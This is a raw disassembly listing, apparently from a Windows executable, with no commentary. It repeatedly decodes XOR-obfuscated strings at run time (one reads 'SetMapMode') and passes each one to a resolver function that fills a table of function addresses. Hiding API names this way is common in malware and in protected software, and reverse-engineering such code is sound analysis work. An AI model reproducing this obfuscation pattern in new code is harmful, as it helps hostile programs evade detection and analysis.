movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400282e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x2e00]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xe0], rax
movabs rax, 0x1d8e9b477e3a8511
mov qword [rbp + 0x8610], rax
movabs rax, 0x7c8c39d5f329314d
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x72c3eb26334ee042
mov qword [rbp + 0x8630], rax
movabs rax, 0x7c8c39d5f3295429
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8630]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x1360]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea r8, [rbp + 0x1360]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xe8], rax
movabs rax, 0x3552bb2b7417ff0
mov qword [rbp + 0x8610], rax
movabs rax, 0x7ea27a189063d4fa
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x6c134ec6d6240db3
mov qword [rbp + 0x8630], rax
movabs rax, 0x7ea27a189022a094
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x16f0]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x16f0]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xf0], rax
movabs rax, 0x187283c88ad7be5b
mov qword [rbp + 0x8610], rax
movabs rax, 0x6b006891ab5ad77f
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x7a3df7abefbbdb08
mov qword [rbp + 0x8630], rax
movabs rax, 0x6b006891df39b215
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x1ac0]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1ac0]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xf8], rax
movabs rax, 0x530aece5f11b3b9
mov qword [rbp + 0x8610], rax
movabs rax, 0x5da1c31f66c77e92
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x4644d6ab0b65d6ea
mov qword [rbp + 0x8630], rax
movabs rax, 0x5da1c31f14a812fd
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x1b90]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1b90]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x100], rax
movabs rax, 0xc32ef453ba8e242
mov qword [rbp + 0x8610], rax
movabs rax, 0x64222b9b9b158fa8
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x605dac2e79dc8711
mov qword [rbp + 0x8630], rax
movabs rax, 0x64222b9b9b15fdc7
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x1410]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea r8, [rbp + 0x1410]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x108], rax
movabs rax, 0x4913ad08d67b51a
mov qword [rbp + 0x8610], rax
movabs rax, 0x4dc561b953f8d356
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x45e542b5d913d049
mov qword [rbp + 0x8630], rax
movabs rax, 0x4dc561b93d9fba3a
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8630]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x1c60]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1c60]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x110], rax
movabs rax, 0x4f617df05ead864
mov qword [rbp + 0x8610], rax
movabs rax, 0x38e7c8eb02c46998
mov qword [rbp + 0x8618], rax
movabs rax, 0x76574b620082c
mov qword [rbp + 0x8620], rax
movabs rcx, 0x110484b2f1fd03fd
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x41826fba519ebd23
mov qword [rbp + 0x8650], rax
movabs rax, 0x5188989f6ca11de0
mov qword [rbp + 0x8658], rax
movabs rax, 0x7653584137c42
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x45c0]
lea rcx, [rbp + 0x40]
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140028a60
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x45c0]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x118], rax
movabs rax, 0xa71bfef76ae0c5c
mov qword [rbp + 0x8610], rax
movabs rax, 0x57350079d42c409b
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x4505c78a22da7419
mov qword [rbp + 0x8630], rax
movabs rax, 0x57350079d46d34ee
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8630]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x17b0]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x17b0]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x120], rax
movabs rax, 0x7c35dbbb18828ef
mov qword [rbp + 0x8610], rax
movabs rax, 0x77be2feea2491f6f
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x658c38cfd4e44dab
mov qword [rbp + 0x8630], rax
movabs rax, 0x77be2feed62a7a05
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8630]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8620], xmm1
lea rcx, [rbp + 0x1d30]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1d30]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x128], rax
movabs rax, 0x1a2fe0b2d1d83bdb
mov qword [rbp + 0x8610], rax
movabs rcx, 0x4c679c68fa81231c
mov qword [rbp + 0x8618], rcx
xorps xmm1, xmm1
movabs rax, 0x596b85c6b4b45e9f
mov qword [rbp + 0x8630], rax
mov qword [rbp + 0x8638], rcx
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
pxor xmm2, xmm1
movaps xmmword [rbp + 0x1000], xmm0
movaps xmmword [rbp + 0x1010], xmm2
movaps xmm0, xmmword [rbp + 0x290]
movaps xmmword [rbp + 0x1020], xmm0
movaps xmm1, xmmword [rbp + 0x2a0]
movaps xmmword [rbp + 0x1030], xmm1
movaps xmm0, xmmword [rbp + 0x2b0]
movaps xmmword [rbp + 0x1040], xmm0
movaps xmm1, xmmword [rbp + 0x2c0]
movaps xmmword [rbp + 0x1050], xmm1
movaps xmm0, xmmword [rbp + 0x2d0]
movaps xmmword [rbp + 0x1060], xmm0
movaps xmm1, xmmword [rbp + 0x2e0]
movaps xmmword [rbp + 0x1070], xmm1
movaps xmm0, xmmword [rbp + 0x2f0]
movaps xmmword [rbp + 0x1080], xmm0
lea r8, [rbp + 0x1000]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x130], rax
movabs rax, 0x9b4b1588111e037
mov qword [rbp + 0x8610], rax
movabs rax, 0x670e7b154b29f63b
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x6addc73dc5658570
mov qword [rbp + 0x8630], rax
movabs rax, 0x670e7b663b48b55e
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8620], xmm1
lea rcx, [rbp + 0x24a0]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
lea r8, [rbp + 0x24a0]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x138], rax
movabs rax, 0x11d8604ebd8083a0
mov qword [rbp + 0x8610], rax
movabs rax, 0x63b79a1451f13fcd
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x7fbd0922fef4e6e7
mov qword [rbp + 0x8630], rax
movabs rax, 0x63b79a6032946db9
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8620], xmm1
lea rcx, [rbp + 0x2580]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
lea r8, [rbp + 0x2580]
mov rsi, qword [rsp + 0x40]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x140], rax
movabs rax, 0x83dc66128dca17
mov qword [rbp + 0x8610], rax
movabs rax, 0x74d6fe27b70fb886
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x6fe7b20f45f9af50
mov qword [rbp + 0x8630], rax
movabs rax, 0x74d6fe53d46aeaf1
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8620], xmm1
lea rcx, [rbp + 0x2660]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
lea r8, [rbp + 0x2660]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x148], rax
movabs rax, 0x88f80be75bbf01f
mov qword [rbp + 0x8610], rax
movabs rax, 0x7aaf0bb90e55b2bc
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x67dbf4d010d29c5c
mov qword [rbp + 0x8630], rax
movabs rax, 0x7aaf65dc6b27d1ef
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x40], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x50], xmm1
lea rcx, [rbp + 0x2740]
lea rax, [rbp + 0x40]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x2740]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x150], rax
movabs rax, 0x16d57ba557225569
mov qword [rbp + 0x8610], rax
movabs rax, 0x6b8c6be6ffdb6a2f
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x798115c03250363a
mov qword [rbp + 0x8630], rax
movabs rax, 0x6b8c1f889ab2066c
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8630]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x50], xmm1
lea rcx, [rbp + 0x2830]
lea rax, [rbp + 0x40]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x2830]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x158], rax
movabs rax, 0x14d2cf2cb46ec365
mov qword [rbp + 0x8610], rax
movabs rax, 0x50ff0ce23a5ce70
mov qword [rbp + 0x8618], rax
movabs rax, 0xe7a100989
mov qword [rbp + 0x8620], rax
movabs rcx, 0x705af07de14
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x73b7bd43f21aa622
mov qword [rbp + 0x8650], rax
movabs rax, 0x6b66a7aa4dd0a102
mov qword [rbp + 0x8658], rax
movabs rax, 0xe7a6766ed
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm5, xmm3
